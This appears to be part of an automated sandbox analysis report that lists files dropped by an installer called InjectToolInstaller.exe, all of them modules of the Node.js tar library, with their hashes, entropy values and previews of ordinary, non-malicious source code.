Preview:	// Get the appropriate flag to use for creating files.// We use fmap on Windows platforms for files less than.// 512kb. This is a fairly low limit, but avoids making.// things slower in some cases. Since most of what this.// library is used for is extracting tarballs of many.// relatively small files in npm packages and the like,.// it can be a big boost on Windows platforms..// Only supported in Node v12.9.0 and above..const platform = process.env.__FAKE_PLATFORM__ \|\| process.platform.const isWindows = platform === 'win32'.const fs = global.__FAKE_TESTING_FS__ \|\| require('fs')../* istanbul ignore next /.const { O_CREAT, O_TRUNC, O_WRONLY, UV_FS_O_FILEMAP = 0 } = fs.constants..const fMapEnabled = isWindows && !!UV_FS_O_FILEMAP.const fMapLimit = 512 1024.const fMapFlag = UV_FS_O_FILEMAP \| O_TRUNC \| O_CREAT \| O_WRONLY.module.exports = !fMapEnabled ? () => 'w'. : size => size < fMapLimit ? fMapFlag : 'w'.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\header.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	9154
Entropy (8bit):	4.8812631804170366
Encrypted:	false
SSDEEP:	192:u/UhAA3hUVwvRtV2i4nPFTa8qlWPKipn5tB6+3cQ4q:ucLiY2fPFLp5tB6+3Uq
MD5:	1609C63EDFD55D2DF4B1084A9BA87DC6
SHA1:	9B742C07344D089F11F4CA24FFF7DACE5966C606
SHA-256:	6B079E47828607ACCF5E5E2A259D412B891A5A8FCC151BEC8DF4E2C5341AC8B3
SHA-512:	FE23DAB0835A3F029E21362DDEDE9C20E42C3D4B7D6CD9BB10A37200C52FBE750462C9AF11FC3750C62A410F1766123CA2095D6EF2C5C3165C32E5C0BC46A704
Malicious:	false
Preview:	'use strict'.// parse a 512-byte header block to a data object, or vice-versa.// encode returns `true` if a pax extended header is needed, because.// the data could not be faithfully encoded in a simple header..// (Also, check header.needPax to see if it needs a pax header.)..const types = require('./types.js').const pathModule = require('path').posix.const large = require('./large-numbers.js')..const SLURP = Symbol('slurp').const TYPE = Symbol('type')..class Header {. constructor (data, off, ex, gex) {. this.cksumValid = false. this.needPax = false. this.nullBlock = false.. this.block = null. this.path = null. this.mode = null. this.uid = null. this.gid = null. this.size = null. this.mtime = null. this.cksum = null. this[TYPE] = '0'. this.linkpath = null. this.uname = null. this.gname = null. this.devmaj = 0. this.devmin = 0. this.atime = null. this.ctime = null.. if (Buffer.isBuffer(data)) {. this.decode(data, off \|\| 0

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\high-level-opt.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	760
Entropy (8bit):	4.761930663697925
Encrypted:	false
SSDEEP:	12:LSPnJA+8Bz9bzJV96boib0L1ALiZFEwXhBtcgAcs8qzp4OBqzkFjhTBkkZ7M/gqy:LGnJYB99rxL1ALOFECyis8WJ9HBP7POs
MD5:	7CE36D24318DE0E0CFE580F5558D1F42
SHA1:	5946F8211E9FF0B2754564C159B9DF12A32B96D2
SHA-256:	0296C4419CCB96B4AAB5DFE04E46982C83D5CD30C099A65B5B037F5C223D062F
SHA-512:	040EEA9EF6334D67EBAE7BF1E4F4AEA58D04C5DB0147EB3465997233C7D21B41CCB778C0136309E8123296009BAC1E25B8FFFE531BF369CD5125B039DAB00C13
Malicious:	false
Preview:	'use strict'..// turn tar(1) style args like `C` into the more verbose things like `cwd`..const argmap = new Map([. ['C', 'cwd'],. ['f', 'file'],. ['z', 'gzip'],. ['P', 'preservePaths'],. ['U', 'unlink'],. ['strip-components', 'strip'],. ['stripComponents', 'strip'],. ['keep-newer', 'newer'],. ['keepNewer', 'newer'],. ['keep-newer-files', 'newer'],. ['keepNewerFiles', 'newer'],. ['k', 'keep'],. ['keep-existing', 'keep'],. ['keepExisting', 'keep'],. ['m', 'noMtime'],. ['no-mtime', 'noMtime'],. ['p', 'preserveOwner'],. ['L', 'follow'],. ['h', 'follow'],.])..module.exports = opt => opt ? Object.keys(opt).map(k => [. argmap.has(k) ? argmap.get(k) : k, opt[k],.]).reduce((set, kv) => (set[kv[0]] = kv[1], set), Object.create(null)) : {}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\large-numbers.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2229
Entropy (8bit):	4.64040419982275
Encrypted:	false
SSDEEP:	48:rZ+dnhXe2iM/CzzKHl8VI6/JvsaWqAzKUtjLsLavo+:2hPiM/CaHiVIusa/RUtsL4o+
MD5:	915BF244F2C1F1680781ED95FDE0BF7C
SHA1:	C0C88C072EB0EEA77F79B5888DE9673AB3857E4B
SHA-256:	1DCE0C5A838CCB7B18771BF9F5E29B7CF4D872D73907E191B82ACC9C648A2223
SHA-512:	F2067673DBCF90EF6EF315545F06A986470CAF03669F73EFCA97D00978C31A1453BA39ED0231A99138BCB74A3817F9C5BC066C938C0B28E1F63C1BDAD18E75C9
Malicious:	false
Preview:	'use strict'.// Tar can encode large and negative numbers using a leading byte of.// 0xff for negative, and 0x80 for positive...const encode = (num, buf) => {. if (!Number.isSafeInteger(num)) {. // The number is so large that javascript cannot represent it with integer. // precision.. throw Error('cannot encode number outside of javascript safe integer range'). } else if (num < 0) {. encodeNegative(num, buf). } else {. encodePositive(num, buf). }. return buf.}..const encodePositive = (num, buf) => {. buf[0] = 0x80.. for (var i = buf.length; i > 1; i--) {. buf[i - 1] = num & 0xff. num = Math.floor(num / 0x100). }.}..const encodeNegative = (num, buf) => {. buf[0] = 0xff. var flipped = false. num = num * -1. for (var i = buf.length; i > 1; i--) {. var byte = num & 0xff. num = Math.floor(num / 0x100). if (flipped) {. buf[i - 1] = onesComp(byte). } else if (byte === 0) {. buf[i - 1] = 0. } else {. flipped = true. buf[i - 1] = t

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\list.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3224
Entropy (8bit):	4.617547290756216
Encrypted:	false
SSDEEP:	48:CE+xheAA+WoqlYSSa3XSaU7IeeixyRjPYCXonuc6XM8hF/zqRfZ1h+La94gcgGqY:exhNJtIjQCXpc6XvFrq14gcjqj324M
MD5:	60B9263273B999CF7E6B80B98424C34A
SHA1:	449FB240831E88DD8633BA1B3562E5E194643E81
SHA-256:	41D395E719379CFBFC46E23EA552998962133CBC667BB349F540DE3656E2FEEB
SHA-512:	2360C7B54F50DC55FC6603BFCE9B97209D3C69F060EB29991B5175156D9626AA8598595C9FEDB25E37FFB24102B0BD94D80853E713D554B5EEFE996EB4FE7CA4
Malicious:	false
Preview:	'use strict'..// XXX: This shares a lot in common with extract.js.// maybe some DRY opportunity here?..// tar -t.const hlo = require('./high-level-opt.js').const Parser = require('./parse.js').const fs = require('fs').const fsm = require('fs-minipass').const path = require('path').const stripSlash = require('./strip-trailing-slashes.js')..module.exports = (opt_, files, cb) => {. if (typeof opt_ === 'function') {. cb = opt_, files = null, opt_ = {}. } else if (Array.isArray(opt_)) {. files = opt_, opt_ = {}. }.. if (typeof files === 'function') {. cb = files, files = null. }.. if (!files) {. files = []. } else {. files = Array.from(files). }.. const opt = hlo(opt_).. if (opt.sync && typeof cb === 'function') {. throw new TypeError('callback not supported for sync tar functions'). }.. if (!opt.file && typeof cb === 'function') {. throw new TypeError('callback only supported with file option'). }.. if (files.length) {. filesFilter(opt, files). }.. i

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\mkdir.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5485
Entropy (8bit):	4.584547550854003
Encrypted:	false
SSDEEP:	96:tYmErvdihD8Q51hmXFT4NqhUv9Axr9XvzKzHUcaW4vlJjKczhmXYTF7Imy6RTO0b:krvdihD8Q5a1EshUv9WxXvz8UcaH9JWi
MD5:	F57C3B82AB222A90C59ED27E750B75C5
SHA1:	C6F038A8833277BDDD8F55EC5E091CB2B732DF74
SHA-256:	48A264AA941AB08797810BC87B1EE5C9FDC53DC178C8A0FE9113D87823C1B48A
SHA-512:	4E2B72FFDF987E4F306AD3B1DA4924D47C1B5BB5F7A9C6772D093FF3220A7EEBC4F150DD13931B49D5966E8E0E7BE2F99D112D3298A56F340B3D664CC322F24E
Malicious:	false
Preview:	'use strict'.// wrapper around mkdirp for tar's needs...// TODO: This should probably be a class, not functionally.// passing around state in a gazillion args...const mkdirp = require('mkdirp').const fs = require('fs').const path = require('path').const chownr = require('chownr').const normPath = require('./normalize-windows-path.js')..class SymlinkError extends Error {. constructor (symlink, path) {. super('Cannot extract through symbolic link'). this.path = path. this.symlink = symlink. }.. get name () {. return 'SylinkError'. }.}..class CwdError extends Error {. constructor (path, code) {. super(code + ': Cannot cd into \'' + path + '\''). this.path = path. this.code = code. }.. get name () {. return 'CwdError'. }.}..const cGet = (cache, key) => cache.get(normPath(key)).const cSet = (cache, key, val) => cache.set(normPath(key), val)..const checkCwd = (dir, cb) => {. fs.stat(dir, (er, st) => {. if (er \|\| !st.isDirectory()) {. er = new CwdError

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\mode-fix.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	649
Entropy (8bit):	4.460916365965914
Encrypted:	false
SSDEEP:	12:bBBsUfFL4UmBXFRVqTrjSA3SHodHJHSNQOnvMbxM+Xs0kzA/EF0DPQ/MDdwBz:1BsUtL4U2XF+QHoHHSvvCqzus0DPQ0D2
MD5:	FA7D9B10415966444B2BDB3894F855AA
SHA1:	B16B029EEF92A45BB388AB39FFB28E22B768A2AA
SHA-256:	9AA82DB6007DF25931A731DC4F83C455D56DD808FE5802C3FB2C8BF637138506
SHA-512:	D9AA4DB12416EFA6501339DE2E654CC4A7007BC6D7E44E5B71EC34FEEF5EDFCE2526349AA53557D8F0ACC021C05CA01FE63E83F90B3A1564F27308432CFD687E
Malicious:	false
Preview:	'use strict'.module.exports = (mode, isDir, portable) => {. mode &= 0o7777.. // in portable mode, use the minimum reasonable umask. // if this system creates files with 0o664 by default. // (as some linux distros do), then we'll write the. // archive with 0o644 instead. Also, don't ever create. // a file that is not readable/writable by the owner.. if (portable) {. mode = (mode \| 0o600) & ~0o22. }.. // if dirs are readable, then they should be listable. if (isDir) {. if (mode & 0o400) {. mode \|= 0o100. }. if (mode & 0o40) {. mode \|= 0o10. }. if (mode & 0o4) {. mode \|= 0o1. }. }. return mode.}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\normalize-unicode.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	4.81337496581373
Encrypted:	false
SSDEEP:	12:j4DFgTgc9WSg4gX+y17XOqexaBBkFFWW4QLWlhxWAEnNV:EFgRUSgXX+4OFYBkFw0W07
MD5:	8572C7EDDC91209C27B75EEFB44032CE
SHA1:	20C0268CEAE19CB836A5742915357DB92C09CE1B
SHA-256:	192505541597C027340E66BEA4421387A6E06C0867A22E49A5016008CDF0F362
SHA-512:	65245E24057817EFABA500E22771D0D3A52B001DA7C29327B1C2E7F55B09E310A941CC4633095D8F183331F93016A19F14C51652D35EFEDABFFE441E9EAFB0DA
Malicious:	false
Preview:	// warning: extremely hot code path..// This has been meticulously optimized for use.// within npm install on large package trees..// Do not edit without careful benchmarking..const normalizeCache = Object.create(null).const { hasOwnProperty } = Object.prototype.module.exports = s => {. if (!hasOwnProperty.call(normalizeCache, s)) {. normalizeCache[s] = s.normalize('NFD'). }. return normalizeCache[s].}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\normalize-windows-path.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	410
Entropy (8bit):	4.806476811133059
Encrypted:	false
SSDEEP:	12:j8ihJlQGNdgVbmVmMoP/3CcMZQCzSBlPu:YihXvgEV7oPLNBlPu
MD5:	CED22C4CB477B745EE151791C824F022
SHA1:	D70A39CD21B9BBDCB041674F11350F97996452CF
SHA-256:	D585DA94804CF3C623EDA666C6068BC513B5F3BED1FA44E0F15BCC98B38FBDD2
SHA-512:	8559D9899214CBC9D02517B4E50D59B1EA6E101F73819EF5A3FFDCEB034B4507DC6A22D1AA13FFDC63B797F8D24F29D017C785B942EF9C0FCCDFBC24B0811660
Malicious:	false
Preview:	// on windows, either \ or / are valid directory separators..// on unix, \ is a valid character in filenames..// so, on windows, and only on windows, we replace all \ chars with /,.// so that we can use / as our one and only directory separator char...const platform = process.env.TESTING_TAR_FAKE_PLATFORM \|\| process.platform.module.exports = platform !== 'win32' ? p => p. : p => p && p.replace(/\\/g, '/').

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\pack.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	10021
Entropy (8bit):	4.884665330743179
Encrypted:	false
SSDEEP:	192:NNow8PS5Aj3KqzLaQG98a38PQXvU6CHgbU9VDijjMl80dNkBDZQPPQLsQ0LHRQsy:NSw8PS5gAvLwgbkNkBGwm6TCq
MD5:	CCFAF1B2F17F1E4BFDD082939C3C8B7A
SHA1:	B63B092A860211E25B74CF86E70316E39B3ED14B
SHA-256:	6975602D45B540AF44195BC60F0812FA76193481ECAD7093F4E3B1C9DCD6F9F4
SHA-512:	5AA5AFBBEB284167733F677BB79ACF13D78D080EC1C46259CF08B71BEC324BF1C54CE1F424A702B2222ACED437C1A311653134CDB7F3976A8D28C53FB3DED91F
Malicious:	false
Preview:	'use strict'..// A readable tar stream creator.// Technically, this is a transform stream that you write paths into,.// and tar format comes out of..// The `add()` method is like `write()` but returns this,.// and end() return `this` as well, so you can.// do `new Pack(opt).add('files').add('dir').end().pipe(output).// You could also do something like:.// streamOfPaths().pipe(new Pack()).pipe(new fs.WriteStream('out.tar'))..class PackJob {. constructor (path, absolute) {. this.path = path \|\| './'. this.absolute = absolute. this.entry = null. this.stat = null. this.readdir = null. this.pending = false. this.ignore = false. this.piped = false. }.}..const { Minipass } = require('minipass').const zlib = require('minizlib').const ReadEntry = require('./read-entry.js').const WriteEntry = require('./write-entry.js').const WriteEntrySync = WriteEntry.Sync.const WriteEntryTar = WriteEntry.Tar.const Yallist = require('yallist').const EOF = Buffer.alloc(1024).const ONSTA

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\parse.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16322
Entropy (8bit):	4.84003996415386
Encrypted:	false
SSDEEP:	384:uSLm9rW9ES+XK4CTI2p65z6zIlYIfHICfqGYjXIEthKsu9kIbBpn8Iu:umm9q9E+InGYHBQjhthMk8Bpn8r
MD5:	316D37EC4B41B042D0973964665E022A
SHA1:	B7E9BEE7A1C735BA86FE95F1B01ACAFD095A28BE
SHA-256:	5DF89CAFB5A74FDA979FCE7140181D2704799AF9AA54E9325454C8D13028E7C5
SHA-512:	63B716EAC95A9CC7F6CB756A023FCC01FF87E9801A1113FC90813767BAE494CCE8B14CB2B40B5E2A124951F71AB35061D0186EB93E898FFAC7D4F0F25FA965A9
Malicious:	false
Preview:	'use strict'..// this[BUFFER] is the remainder of a chunk if we're waiting for.// the full 512 bytes of a header to come in. We will Buffer.concat().// it to the next write(), which is a mem copy, but a small one..//.// this[QUEUE] is a Yallist of entries that haven't been emitted.// yet this can only get filled up if the user keeps write()ing after.// a write() returns false, or does a write() with more than one entry.//.// We don't buffer chunks, we always parse them and either create an.// entry, or push it into the active entry. The ReadEntry class knows.// to throw data away if .ignore=true.//.// Shift entry off the buffer when it emits 'end', and emit 'entry' for.// the next one in the list..//.// At any time, we're pushing body chunks into the entry at WRITEENTRY,.// and waiting for 'end' on the entry at READENTRY.//.// ignored entries get .resume() called on them straight away..const warner = require('./warn-mixin.js').const Header = require('./header.js').const EE = require(

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\path-reservations.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4410
Entropy (8bit):	4.603076161531667
Encrypted:	false
SSDEEP:	96:TL/5z0JEOKm6B9FeQv0ZSN2OkyYlfsGIYaX31c+1pRIjoTEspfMlK5f31KmVHW2R:TLxz0bKfB9FeQJNjkyYhIYaXFcopRIjU
MD5:	EC3D33E76691AFE20BA0DEB9AA62E779
SHA1:	41A310B0639D7C7EAF3004A7E7FFA4A151BE4CEA
SHA-256:	99C5C411DD9597070AA2CBBA6B0CC18834F0C2550FE5C9BB14DAA2A6A0869299
SHA-512:	C20A76813AC7D574C56FF5D6C30B362FE868990677B99BEC8AD9E6B892C2309B6C052A65EC2B9C67B8D4C9344F20D218F36B9BCF9396DD66E340CED388F2BB28
Malicious:	false
Preview:	// A path exclusive reservation system.// reserve([list, of, paths], fn).// When the fn is first in line for all its paths, it.// is called with a cb that clears the reservation..//.// Used by async unpack to avoid clobbering paths in use,.// while still allowing maximal safe parallelization...const assert = require('assert').const normalize = require('./normalize-unicode.js').const stripSlashes = require('./strip-trailing-slashes.js').const { join } = require('path')..const platform = process.env.TESTING_TAR_FAKE_PLATFORM \|\| process.platform.const isWindows = platform === 'win32'..module.exports = () => {. // path => [function or Set]. // A Set object means a directory reservation. // A fn is a direct reservation on that path. const queues = new Map().. // fn => {paths:[path,...], dirs:[path, ...]}. const reservations = new Map().. // return a set of parent dirs for a given path. // '/a/b/c/d' -> ['/', '/a', '/a/b', '/a/b/c', '/a/b/c/d']. const getDirs = path => {. const d

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\pax.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	C++ source, ASCII text
Category:	dropped
Size (bytes):	4068
Entropy (8bit):	4.765731793695758
Encrypted:	false
SSDEEP:	96:S+S7W0W64Iibb0hMjTsOK1Ni67ZSQszPmCtiV8:/sW62bb0h2sOuh7UlqCtY8
MD5:	AF0093787267AAB355802AB23EC92729
SHA1:	91F1BAE650913930F63E1B8DFBAEE9103517AA4A
SHA-256:	C127DD86C3A743C3305AFA09DE0452ACAA8E50DA9AA8A1938F9E2451B29EF7CE
SHA-512:	30A611C922AFC0FD6D1917ECCAC3A624D6F1387870D8492C47F99080AD1902418A8DE7079831BE8F278B18AEE536EE8A63DC82D194D4733B52FE54357993B280
Malicious:	false
Preview:	'use strict'.const Header = require('./header.js').const path = require('path')..class Pax {. constructor (obj, global) {. this.atime = obj.atime \|\| null. this.charset = obj.charset \|\| null. this.comment = obj.comment \|\| null. this.ctime = obj.ctime \|\| null. this.gid = obj.gid \|\| null. this.gname = obj.gname \|\| null. this.linkpath = obj.linkpath \|\| null. this.mtime = obj.mtime \|\| null. this.path = obj.path \|\| null. this.size = obj.size \|\| null. this.uid = obj.uid \|\| null. this.uname = obj.uname \|\| null. this.dev = obj.dev \|\| null. this.ino = obj.ino \|\| null. this.nlink = obj.nlink \|\| null. this.global = global \|\| false. }.. encode () {. const body = this.encodeBody(). if (body === '') {. return null. }.. const bodyLen = Buffer.byteLength(body). // round up to 512 bytes. // add 512 for header. const bufLen = 512 * Math.ceil(1 + bodyLen / 512). const buf = Buffer.allocUnsafe(bufLen).. // 0-fill the header

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\read-entry.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2842
Entropy (8bit):	4.596826652475449
Encrypted:	false
SSDEEP:	48:qNwL68x8HuW/SJtZElEA9AabsfxLDxLr/fBxW6l5if9btiIMjwEDHJcAGHlTUm2b:qN+Px8OP5sNJQfxXxLLfBQW5if9bkTcw
MD5:	F1983411049BA9A219D03CBFC6160EFA
SHA1:	2D84F046273B66904F79F76E10418956E30A5BAD
SHA-256:	2AC36BE9440F3D81278C9A5FAE4A48DC7207FACAD366F9DE5453DAF0CA7AA559
SHA-512:	7EFE7718999EFFF237DC5A224A1478B433537AAC26095B0D3BB1997F367350FC5580EF3BFD2747FB005E825F3744ADABF653B531655B2BBBE06FAD282BFB2A70
Malicious:	false
Preview:	'use strict'.const { Minipass } = require('minipass').const normPath = require('./normalize-windows-path.js')..const SLURP = Symbol('slurp').module.exports = class ReadEntry extends Minipass {. constructor (header, ex, gex) {. super(). // read entries always start life paused. this is to avoid the. // situation where Minipass's auto-ending empty streams results. // in an entry ending before we're ready for it.. this.pause(). this.extended = ex. this.globalExtended = gex. this.header = header. this.startBlockSize = 512 * Math.ceil(header.size / 512). this.blockRemain = this.startBlockSize. this.remain = header.size. this.type = header.type. this.meta = false. this.ignore = false. switch (this.type) {. case 'File':. case 'OldFile':. case 'Link':. case 'SymbolicLink':. case 'CharacterDevice':. case 'BlockDevice':. case 'Directory':. case 'FIFO':. case 'ContiguousFile':. case 'GNUDumpDir':.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\replace.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5776
Entropy (8bit):	4.551499723812262
Encrypted:	false
SSDEEP:	96:FmiSuYr8s3BekNaEoIvmH0ickexO2v8XM6eauSvGUxq0XrvjJET8vw3nQrdpd3P1:kirYosdoIvmUice20Xfv3pXrvjJcawXW
MD5:	BF60F1355514F496D82BE71A41448DB3
SHA1:	EC6A4B0B19062E1F3D424801B223E8F2E50FD07F
SHA-256:	A96AE4A25BBC043CB664738828D222780DD28CB74B244DD01A8CD4BFA198FEBC
SHA-512:	C16CE9E34141E2064B997FA117D6112E21BF2CB3AA663D3E94827A07504C64B8A858E66A09B747C4E987118CED36AA60977AF088AA01D0D576A5A2EAD9B6416F
Malicious:	false
Preview:	'use strict'..// tar -r.const hlo = require('./high-level-opt.js').const Pack = require('./pack.js').const fs = require('fs').const fsm = require('fs-minipass').const t = require('./list.js').const path = require('path')..// starting at the head of the file, read a Header.// If the checksum is invalid, that's our position to start writing.// If it is, jump forward by the specified size (round up to 512).// and try again..// Write the new Pack stream starting there...const Header = require('./header.js')..module.exports = (opt_, files, cb) => {. const opt = hlo(opt_).. if (!opt.file) {. throw new TypeError('file is required'). }.. if (opt.gzip \|\| opt.brotli \|\| opt.file.endsWith('.br') \|\| opt.file.endsWith('.tbr')) {. throw new TypeError('cannot append to compressed archives'). }.. if (!files \|\| !Array.isArray(files) \|\| !files.length) {. throw new TypeError('no files or directories specified'). }.. files = Array.from(files).. return opt.sync ? replaceSync(opt, files).

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\strip-absolute-path.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	917
Entropy (8bit):	4.655546800369608
Encrypted:	false
SSDEEP:	24:tSpFFsrPzVEpOt8vqwkBgPl9y91eUcejn+lMZ:tHzVECeHksjDdFO
MD5:	D60CC90218E74DAE53B21276C122B92A
SHA1:	D03D2C5DCBAA167DF9C2DBC95D2EC71A03E2F156
SHA-256:	510CAA3452390A12499663048E42F67E056FF2CBB7A5F8E72E38F00B856FC709
SHA-512:	A79F8BF9398A0B44C37CB7655660F014775EF9F79B20AF051D26CC47593E4009589CF8A89B19E0BC7029EEDD2D3D86B8F5C1E8FAABCCCB2EF9758490D07708B0
Malicious:	false
Preview:	// unix absolute paths are also absolute on win32, so we use this for both.const { isAbsolute, parse } = require('path').win32..// returns [root, stripped].// Note that windows will think that //x/y/z/a has a "root" of //x/y, and in.// those cases, we want to sanitize it to x/y/z/a, not z/a, so we strip /.// explicitly if it's the first character..// drive-specific relative paths on Windows get their root stripped off even.// though they are not absolute, so `c:../foo` becomes ['c:', '../foo'].module.exports = path => {. let r = ''.. let parsed = parse(path). while (isAbsolute(path) \|\| parsed.root) {. // windows will think that //x/y/z has a "root" of //x/y/. // but strip the //?/C:/ off of //?/C:/path. const root = path.charAt(0) === '/' && path.slice(0, 4) !== '//?/' ? '/'. : parsed.root. path = path.slice(root.length). r += root. parsed = parse(path). }. return [r, path].}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\strip-trailing-slashes.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	394
Entropy (8bit):	4.5917206863738835
Encrypted:	false
SSDEEP:	12:j4DFgTgc9WSg4gX+ysYB05Vw+k/qQFp+4bfa+M8v+Z:EFgRUSgXX+sBSVw7XpXaXyW
MD5:	580E7DE7574DA4A6D7869EBD7E5808D9
SHA1:	5067A2C059F935895EF05876DCA17FE6AA808715
SHA-256:	5B8DD9C3AA3C76A691A4A2E953D9D515BF4CAEE6281A1C7EA83EE78174957D08
SHA-512:	2AB1BD78FA6A4DD78BCF29D500BF64234E86098E3692F9E1743C66E9AEFBDEEC97D74CA6EE6363ABCCE8F81FC93738D5CDAE76C29FAA66A9BF412B9D3978DB98
Malicious:	false
Preview:	// warning: extremely hot code path..// This has been meticulously optimized for use.// within npm install on large package trees..// Do not edit without careful benchmarking..module.exports = str => {. let i = str.length - 1. let slashesStart = -1. while (i > -1 && str.charAt(i) === '/') {. slashesStart = i. i--. }. return slashesStart === -1 ? str : str.slice(0, slashesStart).}.

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\types.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1096
Entropy (8bit):	4.911442809152181
Encrypted:	false
SSDEEP:	24:cRQGWPi5jNocSLBH/AuYMI0Wo5gYSUhp+QH:cRxiNBH/+MIw5P+QH
MD5:	F11DFAD0AD576ABE0D792BE35EF0CEC8
SHA1:	B0092D2C8E77512B26D0976ABD347ACA1097A797
SHA-256:	D4DE2E5C48D89E3C6666063FF45D1FFBE9DC975B7262903267C824B8F596910E
SHA-512:	127E7586E6DF6A11E414A10C9A9C39F85D340829B976C5B114770E2133E0C2E578D7973631EAC652887A520E5799AD6D4F9640F070E71F121044EA003F5FF9C5
Malicious:	false
Preview:	'use strict'.// map types from key to human-friendly name.exports.name = new Map([. ['0', 'File'],. // same as File. ['', 'OldFile'],. ['1', 'Link'],. ['2', 'SymbolicLink'],. // Devices and FIFOs aren't fully supported. // they are parsed, but skipped when unpacking. ['3', 'CharacterDevice'],. ['4', 'BlockDevice'],. ['5', 'Directory'],. ['6', 'FIFO'],. // same as File. ['7', 'ContiguousFile'],. // pax headers. ['g', 'GlobalExtendedHeader'],. ['x', 'ExtendedHeader'],. // vendor-specific stuff. // skip. ['A', 'SolarisACL'],. // like 5, but with data, which should be skipped. ['D', 'GNUDumpDir'],. // metadata only, skip. ['I', 'Inode'],. // data = link path of next file. ['K', 'NextFileHasLongLinkpath'],. // data = path of next file. ['L', 'NextFileHasLongPath'],. // skip. ['M', 'ContinuationFile'],. // like L. ['N', 'OldGnuLongPath'],. // skip. ['S', 'SparseFile'],. // skip. ['V', 'TapeVolumeHeader'],. // like x. ['X', 'OldExtendedHeader'],.])..// map

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\unpack.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	25379
Entropy (8bit):	4.7283666178109485
Encrypted:	false
SSDEEP:	384:T8mtnBkc0eKKL6LdefNTJdA2Cx+l23IGDugEB1B98EXqm8BYo25rWp30ZRXeGgDp:gkB16LaRFPGarPDEt
MD5:	C770F4367ADDB5FF7B6FD7557D87C2A5
SHA1:	B3DE97E2F3F1C77BB25ADDAD25A1D321F1C7B2D6
SHA-256:	D83A9DF71CCDCAE42D9A04EE47ED9B7751E1C6E70BFDD3220D5A5316C4802DC1
SHA-512:	29C3EA4AAE1E45A6C53D76E4C6EA7717E819966D87C9B92F3C51ED7CD74892194419E238CC37D1C1758BF3FB51BC9CFB04CF8EF05E70DF4CAA9A811508536282
Malicious:	false
Preview:	'use strict'..// the PEND/UNPEND stuff tracks whether we're ready to emit end/close yet..// but the path reservations are required to avoid race conditions where.// parallelized unpack ops may mess with one another, due to dependencies.// (like a Link depending on its target) or destructive operations (like.// clobbering an fs object to create one of a different type.)..const assert = require('assert').const Parser = require('./parse.js').const fs = require('fs').const fsm = require('fs-minipass').const path = require('path').const mkdir = require('./mkdir.js').const wc = require('./winchars.js').const pathReservations = require('./path-reservations.js').const stripAbsolutePath = require('./strip-absolute-path.js').const normPath = require('./normalize-windows-path.js').const stripSlash = require('./strip-trailing-slashes.js').const normalize = require('./normalize-unicode.js')..const ONENTRY = Symbol('onEntry').const CHECKFS = Symbol('checkFs').const CHECKFS2 = Symbol('checkFs2').cons

C:\Users\user\AppData\Local\Temp\7zS48C4B291\node_modules\tar\lib\update.js

Download File

Process:	C:\Users\user\Desktop\InjectToolInstaller.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.737595405359352
Encrypted:	false
SSDEEP:	24:NaeUcnB2YwLBgDn7gt8jIYmlxqkW2a/o+/l:PCL8n7gt8InWWE
MD5:	1DF6C142C646E689130347E872721EF5
SHA1:	BA17DF4D08CBEB0F63C8C8BC0BD235BBBC1E7416
SHA-256:	E451DFF75CE154F2C43384937F68D0C914CD4F13B208838C566A3BB91E985BE4
